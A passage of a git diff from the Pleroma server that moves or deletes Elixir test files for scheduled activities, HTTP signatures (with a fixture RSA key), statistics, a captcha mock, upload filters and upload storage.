exceeded", []}] - end - - test "when total user limit is exceeded" do - user = insert(:user) - - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - - tomorrow = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.hours(36), :millisecond) - |> NaiveDateTime.to_iso8601() - - {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: today}) - {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: today}) - {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) - {:error, changeset} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) - assert changeset.errors == [scheduled_at: {"total limit exceeded", []}] - end - - test "when scheduled_at is earlier than 5 minute from now" do - user = insert(:user) - - scheduled_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(4), :millisecond) - |> NaiveDateTime.to_iso8601() - - attrs = %{params: %{}, scheduled_at: scheduled_at} - {:error, changeset} = ScheduledActivity.create(user, attrs) - assert changeset.errors == [scheduled_at: {"must be at least 5 minutes from now", []}] - end - end -end diff --git a/test/signature_test.exs b/test/signature_test.exs deleted file mode 100644 index a7a75aa4d..000000000 --- a/test/signature_test.exs +++ /dev/null @@ -1,134 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.SignatureTest do - use Pleroma.DataCase - - import ExUnit.CaptureLog - import Pleroma.Factory - import Tesla.Mock - import Mock - - alias Pleroma.Signature - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - @private_key "-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA48qb4v6kqigZutO9Ot0wkp27GIF2LiVaADgxQORZozZR63jH\nTaoOrS3Xhngbgc8SSOhfXET3omzeCLqaLNfXnZ8OXmuhJfJSU6mPUvmZ9QdT332j\nfN/g3iWGhYMf/M9ftCKh96nvFVO/tMruzS9xx7tkrfJjehdxh/3LlJMMImPtwcD7\nkFXwyt1qZTAU6Si4oQAJxRDQXHp1ttLl3Ob829VM7IKkrVmY8TD+JSlV0jtVJPj6\n1J19ytKTx/7UaucYvb9HIiBpkuiy5n/irDqKLVf5QEdZoNCdojOZlKJmTLqHhzKP\n3E9TxsUjhrf4/EqegNc/j982RvOxeu4i40zMQwIDAQABAoIBAQDH5DXjfh21i7b4\ncXJuw0cqget617CDUhemdakTDs9yH+rHPZd3mbGDWuT0hVVuFe4vuGpmJ8c+61X0\nRvugOlBlavxK8xvYlsqTzAmPgKUPljyNtEzQ+gz0I+3mH2jkin2rL3D+SksZZgKm\nfiYMPIQWB2WUF04gB46DDb2mRVuymGHyBOQjIx3WC0KW2mzfoFUFRlZEF+Nt8Ilw\nT+g/u0aZ1IWoszbsVFOEdghgZET0HEarum0B2Je/ozcPYtwmU10iBANGMKdLqaP/\nj954BPunrUf6gmlnLZKIKklJj0advx0NA+cL79+zeVB3zexRYSA5o9q0WPhiuTwR\n/aedWHnBAoGBAP0sDWBAM1Y4TRAf8ZI9PcztwLyHPzfEIqzbObJJnx1icUMt7BWi\n+/RMOnhrlPGE1kMhOqSxvXYN3u+eSmWTqai2sSH5Hdw2EqnrISSTnwNUPINX7fHH\njEkgmXQ6ixE48SuBZnb4w1EjdB/BA6/sjL+FNhggOc87tizLTkMXmMtTAoGBAOZV\n+wPuAMBDBXmbmxCuDIjoVmgSlgeRunB1SA8RCPAFAiUo3+/zEgzW2Oz8kgI+xVwM\n33XkLKrWG1Orhpp6Hm57MjIc5MG+zF4/YRDpE/KNG9qU1tiz0UD5hOpIU9pP4bR/\ngxgPxZzvbk4h5BfHWLpjlk8UUpgk6uxqfti48c1RAoGBALBOKDZ6HwYRCSGMjUcg\n3NPEUi84JD8qmFc2B7Tv7h2he2ykIz9iFAGpwCIyETQsJKX1Ewi0OlNnD3RhEEAy\nl7jFGQ+mkzPSeCbadmcpYlgIJmf1KN/x7fDTAepeBpCEzfZVE80QKbxsaybd3Dp8\nCfwpwWUFtBxr4c7J+gNhAGe/AoGAPn8ZyqkrPv9wXtyfqFjxQbx4pWhVmNwrkBPi\nZ2Qh3q4dNOPwTvTO8vjghvzIyR8rAZzkjOJKVFgftgYWUZfM5gE7T2mTkBYq8W+U\n8LetF+S9qAM2gDnaDx0kuUTCq7t87DKk6URuQ/SbI0wCzYjjRD99KxvChVGPBHKo\n1DjqMuECgYEAgJGNm7/lJCS2wk81whfy/ttKGsEIkyhPFYQmdGzSYC5aDc2gp1R3\nxtOkYEvdjfaLfDGEa4UX8CHHF+w3t9u8hBtcdhMH6GYb9iv6z0VBTt4A/11HUR49\n3Z7TQ18Iyh3jAUCzFV9IJlLIExq5Y7P4B3ojWFBN607sDCt8BMPbDYs=\n-----END RSA PRIVATE KEY-----" - - @public_key "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0P/Tq4gb4G/QVuMGbJo\nC/AfMNcv+m7NfrlOwkVzcU47jgESuYI4UtJayissCdBycHUnfVUd9qol+eznSODz\nCJhfJloqEIC+aSnuEPGA0POtWad6DU0E6/Ho5zQn5WAWUwbRQqowbrsm/GHo2+3v\neR5jGenwA6sYhINg/c3QQbksyV0uJ20Umyx88w8+TJuv53twOfmyDWuYNoQ3y5cc\nHKOZcLHxYOhvwg3PFaGfFHMFiNmF40dTXt9K96r7sbzc44iLD+VphbMPJEjkMuf8\nPGEFOBzy8pm3wJZw2v32RNW2VESwMYyqDzwHXGSq1a73cS7hEnc79gXlELsK04L9\nQQIDAQAB\n-----END PUBLIC KEY-----\n" - - @rsa_public_key { - :RSAPublicKey, - 24_650_000_183_914_698_290_885_268_529_673_621_967_457_234_469_123_179_408_466_269_598_577_505_928_170_923_974_132_111_403_341_217_239_999_189_084_572_368_839_502_170_501_850_920_051_662_384_964_248_315_257_926_552_945_648_828_895_432_624_227_029_881_278_113_244_073_644_360_744_504_606_177_648_469_825_063_267_913_017_309_199_785_535_546_734_904_379_798_564_556_494_962_268_682_532_371_146_333_972_821_570_577_277_375_020_977_087_539_994_500_097_107_935_618_711_808_260_846_821_077_839_605_098_669_707_417_692_791_905_543_116_911_754_774_323_678_879_466_618_738_207_538_013_885_607_095_203_516_030_057_611_111_308_904_599_045_146_148_350_745_339_208_006_497_478_057_622_336_882_506_112_530_056_970_653_403_292_123_624_453_213_574_011_183_684_739_084_105_206_483_178_943_532_208_537_215_396_831_110_268_758_639_826_369_857, - # credo:disable-for-previous-line Credo.Check.Readability.MaxLineLength - 65_537 - } - - defp make_fake_signature(key_id), do: "keyId=\"#{key_id}\"" - - defp make_fake_conn(key_id), - do: %Plug.Conn{req_headers: %{"signature" => make_fake_signature(key_id <> "#main-key")}} - - describe "fetch_public_key/1" do - test "it returns key" do - expected_result = {:ok, @rsa_public_key} - - user = insert(:user, public_key: @public_key) - - assert Signature.fetch_public_key(make_fake_conn(user.ap_id)) == expected_result - end - - test "it returns error when not found user" do - assert capture_log(fn -> - assert Signature.fetch_public_key(make_fake_conn("https://test-ap-id")) == - {:error, :error} - end) =~ "[error] Could not decode user" - end - - test "it returns error if public key is nil" do - user = insert(:user, public_key: nil) - - assert Signature.fetch_public_key(make_fake_conn(user.ap_id)) == {:error, :error} - end - end - - describe "refetch_public_key/1" do - test "it returns key" do - ap_id = "https://mastodon.social/users/lambadalambda" - - assert Signature.refetch_public_key(make_fake_conn(ap_id)) == {:ok, @rsa_public_key} - end - - test "it returns error when not found user" do - assert capture_log(fn -> - {:error, _} = Signature.refetch_public_key(make_fake_conn("https://test-ap_id")) - end) =~ "[error] Could not decode user" - end - end - - describe "sign/2" do - test "it returns signature headers" do - user = - insert(:user, %{ - ap_id: "https://mastodon.social/users/lambadalambda", - keys: @private_key - }) - - assert Signature.sign( - user, - %{ - host: "test.test", - "content-length": 100 - } - ) == - "keyId=\"https://mastodon.social/users/lambadalambda#main-key\",algorithm=\"rsa-sha256\",headers=\"content-length host\",signature=\"sibUOoqsFfTDerquAkyprxzDjmJm6erYc42W5w1IyyxusWngSinq5ILTjaBxFvfarvc7ci1xAi+5gkBwtshRMWm7S+Uqix24Yg5EYafXRun9P25XVnYBEIH4XQ+wlnnzNIXQkU3PU9e6D8aajDZVp3hPJNeYt1gIPOA81bROI8/glzb1SAwQVGRbqUHHHKcwR8keiR/W2h7BwG3pVRy4JgnIZRSW7fQogKedDg02gzRXwUDFDk0pr2p3q6bUWHUXNV8cZIzlMK+v9NlyFbVYBTHctAR26GIAN6Hz0eV0mAQAePHDY1mXppbA8Gpp6hqaMuYfwifcXmcc+QFm4e+n3A==\"" - end - - test "it returns error" do - user = insert(:user, %{ap_id: "https://mastodon.social/users/lambadalambda", keys: ""}) - - assert Signature.sign( - user, - %{host: "test.test", "content-length": 100} - ) == {:error, []} - end - end - - describe "key_id_to_actor_id/1" do - test "it properly deduces the actor id for misskey" do - assert Signature.key_id_to_actor_id("https://example.com/users/1234/publickey") == - {:ok, "https://example.com/users/1234"} - end - - test "it properly deduces the actor id for mastodon and pleroma" do - assert Signature.key_id_to_actor_id("https://example.com/users/1234#main-key") == - {:ok, "https://example.com/users/1234"} - end - - test "it calls webfinger for 'acct:' accounts" do - with_mock(Pleroma.Web.WebFinger, - finger: fn _ -> %{"ap_id" => "https://gensokyo.2hu/users/raymoo"} end - ) do - assert Signature.key_id_to_actor_id("acct:raymoo@gensokyo.2hu") == - {:ok, "https://gensokyo.2hu/users/raymoo"} - end - end - end - - describe "signed_date" do - test "it returns formatted current date" do - with_mock(NaiveDateTime, utc_now: fn -> ~N[2019-08-23 18:11:24.822233] end) do - assert Signature.signed_date() == "Fri, 23 Aug 2019 18:11:24 GMT" - end - end - - test "it returns formatted date" do - assert Signature.signed_date(~N[2019-08-23 08:11:24.822233]) == - "Fri, 23 Aug 2019 08:11:24 GMT" - end - end -end diff --git a/test/stats_test.exs b/test/stats_test.exs deleted file mode 100644 index 74bf785b0..000000000 --- a/test/stats_test.exs +++ /dev/null @@ -1,122 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.StatsTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Stats - alias Pleroma.Web.CommonAPI - - describe "user count" do - test "it ignores internal users" do - _user = insert(:user, local: true) - _internal = insert(:user, local: true, nickname: nil) - _internal = Pleroma.Web.ActivityPub.Relay.get_actor() - - assert match?(%{stats: %{user_count: 1}}, Stats.calculate_stat_data()) - end - end - - describe "status visibility sum count" do - test "on new status" do - instance2 = "instance2.tld" - user = insert(:user) - other_user = insert(:user, %{ap_id: "https://#{instance2}/@actor"}) - - CommonAPI.post(user, %{visibility: "public", status: "hey"}) - - Enum.each(0..1, fn _ -> - CommonAPI.post(user, %{ - visibility: "unlisted", - status: "hey" - }) - end) - - Enum.each(0..2, fn _ -> - CommonAPI.post(user, %{ - visibility: "direct", - status: "hey @#{other_user.nickname}" - }) - end) - - Enum.each(0..3, fn _ -> - CommonAPI.post(user, %{ - visibility: "private", - status: "hey" - }) - end) - - assert %{"direct" => 3, "private" => 4, "public" => 1, "unlisted" => 2} = - Stats.get_status_visibility_count() - end - - test "on status delete" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) - assert %{"public" => 1} = Stats.get_status_visibility_count() - CommonAPI.delete(activity.id, user) - assert %{"public" => 0} = Stats.get_status_visibility_count() - end - - test "on status visibility update" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) - assert %{"public" => 1, "private" => 0} = Stats.get_status_visibility_count() - {:ok, _} = CommonAPI.update_activity_scope(activity.id, %{visibility: "private"}) - assert %{"public" => 0, "private" => 1} = Stats.get_status_visibility_count() - end - - test "doesn't count unrelated activities" do - user = insert(:user) - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) - _ = CommonAPI.follow(user, other_user) - CommonAPI.favorite(other_user, activity.id) - CommonAPI.repeat(activity.id, other_user) - - assert %{"direct" => 0, "private" => 0, "public" => 1, "unlisted" => 0} = - Stats.get_status_visibility_count() - end - end - - describe "status visibility by instance count" do - test "single instance" do - local_instance = Pleroma.Web.Endpoint.url() |> String.split("//") |> Enum.at(1) - instance2 = "instance2.tld" - user1 = insert(:user) - user2 = insert(:user, %{ap_id: "https://#{instance2}/@actor"}) - - CommonAPI.post(user1, %{visibility: "public", status: "hey"}) - - Enum.each(1..5, fn _ -> - CommonAPI.post(user1, %{ - visibility: "unlisted", - status: "hey" - }) - end) - - Enum.each(1..10, fn _ -> - CommonAPI.post(user1, %{ - visibility: "direct", - status: "hey @#{user2.nickname}" - }) - end) - - Enum.each(1..20, fn _ -> - CommonAPI.post(user2, %{ - visibility: "private", - status: "hey" - }) - end) - - assert %{"direct" => 10, "private" => 0, "public" => 1, "unlisted" => 5} = - Stats.get_status_visibility_count(local_instance) - - assert %{"direct" => 0, "private" => 20, "public" => 0, "unlisted" => 0} = - Stats.get_status_visibility_count(instance2) - end - end -end diff --git a/test/support/captcha/mock.ex b/test/support/captcha/mock.ex new file mode 100644 index 000000000..2ed2ba3b4 --- /dev/null +++ b/test/support/captcha/mock.ex @@ -0,0 +1,28 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Captcha.Mock do + alias Pleroma.Captcha.Service + @behaviour Service + + @solution "63615261b77f5354fb8c4e4986477555" + + def solution, do: @solution + + @impl Service + def new, + do: %{ + type: :mock, + token: "afa1815e14e29355e6c8f6b143a39fa2", + answer_data: @solution, + url: "https://example.org/captcha.png", + seconds_valid: 300 + } + + @impl Service + def validate(_token, captcha, captcha) when not is_nil(captcha), do: :ok + + def validate(_token, captcha, answer), + do: {:error, "Invalid CAPTCHA captcha: #{inspect(captcha)} ; answer: #{inspect(answer)}"} +end diff --git a/test/support/captcha_mock.ex b/test/support/captcha_mock.ex deleted file mode 100644 index 2ed2ba3b4..000000000 --- a/test/support/captcha_mock.ex +++ /dev/null @@ -1,28 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Captcha.Mock do - alias Pleroma.Captcha.Service - @behaviour Service - - @solution "63615261b77f5354fb8c4e4986477555" - - def solution, do: @solution - - @impl Service - def new, - do: %{ - type: :mock, - token: "afa1815e14e29355e6c8f6b143a39fa2", - answer_data: @solution, - url: "https://example.org/captcha.png", - seconds_valid: 300 - } - - @impl Service - def validate(_token, captcha, captcha) when not is_nil(captcha), do: :ok - - def validate(_token, captcha, answer), - do: {:error, "Invalid CAPTCHA captcha: #{inspect(captcha)} ; answer: #{inspect(answer)}"} -end diff --git a/test/upload/filter/anonymize_filename_test.exs b/test/upload/filter/anonymize_filename_test.exs deleted file mode 100644 index 19b915cc8..000000000 --- a/test/upload/filter/anonymize_filename_test.exs +++ /dev/null @@ -1,42 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Upload.Filter.AnonymizeFilenameTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.Upload - - setup do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - upload_file = %Upload{ - name: "an… image.jpg", - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg") - } - - %{upload_file: upload_file} - end - - setup do: clear_config([Pleroma.Upload.Filter.AnonymizeFilename, :text]) - - test "it replaces filename on pre-defined text", %{upload_file: upload_file} do - Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.png") - {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) - assert name == "custom-file.png" - end - - test "it replaces filename on pre-defined text expression", %{upload_file: upload_file} do - Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.{extension}") - {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) - assert name == "custom-file.jpg" - end - - test "it replaces filename on random text", %{upload_file: upload_file} do - {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) - assert <<_::bytes-size(14)>> <> ".jpg" = name - refute name == "an… image.jpg" - end -end diff --git a/test/upload/filter/dedupe_test.exs b/test/upload/filter/dedupe_test.exs deleted file mode 100644 index 75c7198e1..000000000 --- a/test/upload/filter/dedupe_test.exs +++ /dev/null @@ -1,32 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Upload.Filter.DedupeTest do - use Pleroma.DataCase - - alias Pleroma.Upload - alias Pleroma.Upload.Filter.Dedupe - - @shasum "e30397b58d226d6583ab5b8b3c5defb0c682bda5c31ef07a9f57c1c4986e3781" - - test "adds shasum" do - File.cp!( - "test/fixtures/image.jpg", - "test/fixtures/image_tmp.jpg" - ) - - upload = %Upload{ - name: "an… image.jpg", - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - tempfile: Path.absname("test/fixtures/image_tmp.jpg") - } - - assert { - :ok, - :filtered, - %Pleroma.Upload{id: @shasum, path: @shasum <> ".jpg"} - } = Dedupe.filter(upload) - end -end diff --git a/test/upload/filter/mogrifun_test.exs b/test/upload/filter/mogrifun_test.exs deleted file mode 100644 index dc1e9e78f..000000000 --- a/test/upload/filter/mogrifun_test.exs +++ /dev/null @@ -1,44 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Upload.Filter.MogrifunTest do - use Pleroma.DataCase - import Mock - - alias Pleroma.Upload - alias Pleroma.Upload.Filter - - test "apply mogrify filter" do - File.cp!( - "test/fixtures/image.jpg", - "test/fixtures/image_tmp.jpg" - ) - - upload = %Upload{ - name: "an… image.jpg", - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - tempfile: Path.absname("test/fixtures/image_tmp.jpg") - } - - task = - Task.async(fn -> - assert_receive {:apply_filter, {}}, 4_000 - end) - - with_mocks([ - {Mogrify, [], - [ - open: fn _f -> %Mogrify.Image{} end, - custom: fn _m, _a -> send(task.pid, {:apply_filter, {}}) end, - custom: fn _m, _a, _o -> send(task.pid, {:apply_filter, {}}) end, - save: fn _f, _o -> :ok end - ]} - ]) do - assert Filter.Mogrifun.filter(upload) == {:ok, :filtered} - end - - Task.await(task) - end -end diff --git a/test/upload/filter/mogrify_test.exs b/test/upload/filter/mogrify_test.exs deleted file mode 100644 index bf64b96b3..000000000 --- a/test/upload/filter/mogrify_test.exs +++ /dev/null @@ -1,41 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Upload.Filter.MogrifyTest do - use Pleroma.DataCase - import Mock - - alias Pleroma.Upload.Filter - - test "apply mogrify filter" do - clear_config(Filter.Mogrify, args: [{"tint", "40"}]) - - File.cp!( - "test/fixtures/image.jpg", - "test/fixtures/image_tmp.jpg" - ) - - upload = %Pleroma.Upload{ - name: "an… image.jpg", - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - tempfile: Path.absname("test/fixtures/image_tmp.jpg") - } - - task = - Task.async(fn -> - assert_receive {:apply_filter, {_, "tint", "40"}}, 4_000 - end) - - with_mock Mogrify, - open: fn _f -> %Mogrify.Image{} end, - custom: fn _m, _a -> :ok end, - custom: fn m, a, o -> send(task.pid, {:apply_filter, {m, a, o}}) end, - save: fn _f, _o -> :ok end do - assert Filter.Mogrify.filter(upload) == {:ok, :filtered} - end - - Task.await(task) - end -end diff --git a/test/upload/filter_test.exs b/test/upload/filter_test.exs deleted file mode 100644 index 352b66402..000000000 --- a/test/upload/filter_test.exs +++ /dev/null @@ -1,33 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Upload.FilterTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.Upload.Filter - - setup do: clear_config([Pleroma.Upload.Filter.AnonymizeFilename, :text]) - - test "applies filters" do - Config.put([Pleroma.Upload.Filter.AnonymizeFilename, :text], "custom-file.png") - - File.cp!( - "test/fixtures/image.jpg", - "test/fixtures/image_tmp.jpg" - ) - - upload = %Pleroma.Upload{ - name: "an… image.jpg", - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - tempfile: Path.absname("test/fixtures/image_tmp.jpg") - } - - assert Filter.filter([], upload) == {:ok, upload} - - assert {:ok, upload} = Filter.filter([Pleroma.Upload.Filter.AnonymizeFilename], upload) - assert upload.name == "custom-file.png" - end -end diff --git a/test/upload_test.exs b/test/upload_test.exs deleted file mode 100644 index b06b54487..000000000 --- a/test/upload_test.exs +++ /dev/null @@ -1,287 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.UploadTest do - use Pleroma.DataCase - - import ExUnit.CaptureLog - - alias Pleroma.Upload - alias Pleroma.Uploaders.Uploader - - @upload_file %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "image.jpg" - } - - defmodule TestUploaderBase do - def put_file(%{path: path} = _upload, module_name) do - task_pid = - Task.async(fn -> - :timer.sleep(10) - - {Uploader, path} - |> :global.whereis_name() - |> send({Uploader, self(), {:test}, %{}}) - - assert_receive {Uploader, {:test}}, 4_000 - end) - - Agent.start(fn -> task_pid end, name: module_name) - - :wait_callback - end - end - - describe "Tried storing a file when http callback response success result" do - defmodule TestUploaderSuccess do - def http_callback(conn, _params), - do: {:ok, conn, {:file, "post-process-file.jpg"}} - - def put_file(upload), do: TestUploaderBase.put_file(upload, __MODULE__) - end - - setup do: [uploader: TestUploaderSuccess] - setup [:ensure_local_uploader] - - test "it returns file" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - assert Upload.store(@upload_file) == - {:ok, - %{ - "name" => "image.jpg", - "type" => "Document", - "mediaType" => "image/jpeg", - "url" => [ - %{ - "href" => "http://localhost:4001/media/post-process-file.jpg", - "mediaType" => "image/jpeg", - "type" => "Link" - } - ] - }} - - Task.await(Agent.get(TestUploaderSuccess, fn task_pid -> task_pid end)) - end - end - - describe "Tried storing a file when http callback response error" do - defmodule TestUploaderError do - def http_callback(conn, _params), do: {:error, conn, "Errors"} - - def put_file(upload), do: TestUploaderBase.put_file(upload, __MODULE__) - end - - setup do: [uploader: TestUploaderError] - setup [:ensure_local_uploader] - - test "it returns error" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - assert capture_log(fn -> - assert Upload.store(@upload_file) == {:error, "Errors"} - Task.await(Agent.get(TestUploaderError, fn task_pid -> task_pid end)) - end) =~ - "[error] Elixir.Pleroma.Upload store (using Pleroma.UploadTest.TestUploaderError) failed: \"Errors\"" - end - end - - describe "Tried storing a file when http callback doesn't response by timeout" do - defmodule(TestUploader, do: def(put_file(_upload), do: :wait_callback)) - setup do: [uploader: TestUploader] - setup [:ensure_local_uploader] - - test "it returns error" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - assert capture_log(fn -> - assert Upload.store(@upload_file) == {:error, "Uploader callback timeout"} - end) =~ - "[error] Elixir.Pleroma.Upload store (using Pleroma.UploadTest.TestUploader) failed: \"Uploader callback timeout\"" - end - end - - describe "Storing a file with the Local uploader" do - setup [:ensure_local_uploader] - - test "does not allow descriptions longer than the post limit" do - clear_config([:instance, :description_limit], 2) - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "image.jpg" - } - - {:error, :description_too_long} = Upload.store(file, description: "123") - end - - test "returns a media url" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "image.jpg" - } - - {:ok, data} = Upload.store(file) - - assert %{"url" => [%{"href" => url}]} = data - - assert String.starts_with?(url, Pleroma.Web.base_url() <> "/media/") - end - - test "copies the file to the configured folder with deduping" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.jpg" - } - - {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.Dedupe]) - - assert List.first(data["url"])["href"] == - Pleroma.Web.base_url() <> - "/media/e30397b58d226d6583ab5b8b3c5defb0c682bda5c31ef07a9f57c1c4986e3781.jpg" - end - - test "copies the file to the configured folder without deduping" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.jpg" - } - - {:ok, data} = Upload.store(file) - assert data["name"] == "an [image.jpg" - end - - test "fixes incorrect content type" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "application/octet-stream", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.jpg" - } - - {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.Dedupe]) - assert hd(data["url"])["mediaType"] == "image/jpeg" - end - - test "adds missing extension" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image" - } - - {:ok, data} = Upload.store(file) - assert data["name"] == "an [image.jpg" - end - - test "fixes incorrect file extension" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.blah" - } - - {:ok, data} = Upload.store(file) - assert data["name"] == "an [image.jpg" - end - - test "don't modify filename of an unknown type" do - File.cp("test/fixtures/test.txt", "test/fixtures/test_tmp.txt") - - file = %Plug.Upload{ - content_type: "text/plain", - path: Path.absname("test/fixtures/test_tmp.txt"), - filename: "test.txt" - } - - {:ok, data} = Upload.store(file) - assert data["name"] == "test.txt" - end - - test "copies the file to the configured folder with anonymizing filename" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.jpg" - } - - {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.AnonymizeFilename]) - - refute data["name"] == "an [image.jpg" - end - - test "escapes invalid characters in url" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an… image.jpg" - } - - {:ok, data} = Upload.store(file) - [attachment_url | _] = data["url"] - - assert Path.basename(attachment_url["href"]) == "an%E2%80%A6%20image.jpg" - end - - test "escapes reserved uri characters" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: ":?#[]@!$&\\'()*+,;=.jpg" - } - - {:ok, data} = Upload.store(file) - [attachment_url | _] = data["url"] - - assert Path.basename(attachment_url["href"]) == - "%3A%3F%23%5B%5D%40%21%24%26%5C%27%28%29%2A%2B%2C%3B%3D.jpg" - end - end - - describe "Setting a custom base_url for uploaded media" do - setup do: clear_config([Pleroma.Upload, :base_url], "https://cache.pleroma.social") - - test "returns a media url with configured base_url" do - base_url = Pleroma.Config.get([Pleroma.Upload, :base_url]) - - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "image.jpg" - } - - {:ok, data} = Upload.store(file, base_url: base_url) - - assert %{"url" => [%{"href" => url}]} = data - - refute String.starts_with?(url, base_url <> "/media/") - end - end -end diff --git a/test/uploaders/local_test.exs b/test/uploaders/local_test.exs deleted file mode 100644 index 18122ff6c..000000000 --- a/test/uploaders/local_test.exs +++ /dev/null @@ -1,55 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Uploaders.LocalTest do - use Pleroma.DataCase - alias Pleroma.Uploaders.Local - - describe "get_file/1" do - test "it returns path to local folder for files" do - assert Local.get_file("") == {:ok, {:static_dir, "test/uploads"}} - end - end - - describe "put_file/1" do - test "put file to local folder" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - file_path = "local_upload/files/image.jpg" - - file = 